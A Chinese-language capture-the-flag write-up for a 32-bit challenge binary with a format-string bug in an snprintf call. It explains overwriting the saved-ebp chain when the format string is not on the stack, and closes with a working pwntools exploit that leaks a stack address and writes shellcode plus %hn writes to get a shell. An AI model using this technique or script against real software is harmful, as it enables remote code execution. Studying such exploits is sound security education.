思路
有一个格式化字符串的漏洞
int sub_8048B32()
{
int v0; // eax
const char *v1; // eax
v0 = strlen(s);
v1 = sub_804869D(s, v0, 0);
return snprintf(byte_804A8A0, 0x800u, v1);
}
题目没有开nx我们可以直接布置好shellcode然后跳过去观察栈发现一个地方可以利用
.text:08048BD7 sub esp, 18h
.text:08048BDA call sub_8048B76
.text:08048BDF mov dword ptr [esp], offset byte_804A8A0 ; s
.text:08048BE6 call _puts
.text:08048BEB leave
.text:08048BEC retn
然后就是非栈上的格式化字符串的利用了
通过改写ebp的指针然后再次写入上一个函数的ebp就可以改写栈上的指针
ebp通常都是函数调用栈的信息保存有上一个函数的ebp地址32位的好像是这样因为有leave这个操作然后函数调用会有push ebp么就会此函数的ebp会指向上一个函数的ebp
引荐师傅的exp:
from pwn import *
import base64
bs64=lambda data:base64.b64encode(data)
p=process('./magic')
#p=remote('220.249.52.133',58049)
sh_add=0x0804A0A0
shellcode=asm(shellcraft.sh())
p.sendline(bs64('%4$p'))
p.recvuntil('0x')
t_g=int(p.recvuntil('\n',drop=True),16)+4
log.success('t_g: '+hex(t_g))
payload=bs64(shellcode+'%'+str((t_g&0xff)-len(shellcode))+'c%4$hhn%'+str((sh_add&0xff)-(t_g&0xff))+'c%12$hn')
p.sendline(payload)
p.interactive()